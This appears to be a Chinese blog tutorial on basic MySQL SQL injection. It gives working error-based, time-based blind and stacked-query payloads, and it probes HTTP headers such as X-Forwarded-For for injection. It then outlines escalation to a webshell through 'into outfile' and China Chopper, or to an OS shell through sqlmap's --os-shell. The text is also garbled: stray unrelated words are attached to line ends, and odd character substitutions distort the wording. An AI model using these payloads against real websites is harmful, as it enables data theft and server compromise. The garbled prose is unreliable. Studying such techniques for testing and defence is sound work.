這裏只講解sql注入漏洞的基本類型,代碼分析將放在另一篇帖子講解mysql
and updatexml(1,concat(0x7e,(select database()),0x7e),1)
and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a)
if (length(database())>1,sleep(5),1)
就是說若是數據庫長度大於1,那麼響應延時5秒,不然執行select 1(也就是不延時),由此來推出數據庫長度。sql
if(substr(database(),1,1)='s',sleep(5),1)
if(substr(database(),2,1)='s',sleep(5),1)
只有第一個字母等於26個字母中正確的字母時,纔會延時5秒,所以能夠經過burp或者sqlmap來跑。shell
;select if(length(database())>1,sleep(3),1) ;select if(substr(database(),1,1)='r',sleep(3),1)
【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】
XFF注入即HTTP頭部的X-Forwarded-for參數存在sql注入;數據庫
例如測試此參數的值 X-Forwarded-for:127.0.0.1' 響應有sql報錯,那麼此處就是注入點;緩存
若是經過一些方式爆出了網站的根目錄,而且知道此站點存在sql注入;cookie
猜想此數據庫可能有file權限,那麼咱們就可使用語句:into outfile 來寫shell到網站的根目錄下,以後用菜刀鏈接;函數
若是數據庫沒有file權限,那麼咱們用sqlmap的參數 --is-dba 來查看當前數據庫的用戶是否有管理員權限;post
若是有管理員權限,咱們就可使用sqlmap裏面的參數命令 --os-shell 來上傳、反彈shell,最終getshell;測試
若是file、管理員權限都沒有,那麼另尋思路,日誌、緩存寫入等。網站
簡單的介紹了大體遇到的sql注入存在的類型,可是實際狀況下可能會遇到更奇葩的sql注入利用方法,可是掌握了這些基本的sql注入以後,對後面sql注入的進階會更有幫助;以後還會介紹sql注入經常使用到的繞過技術。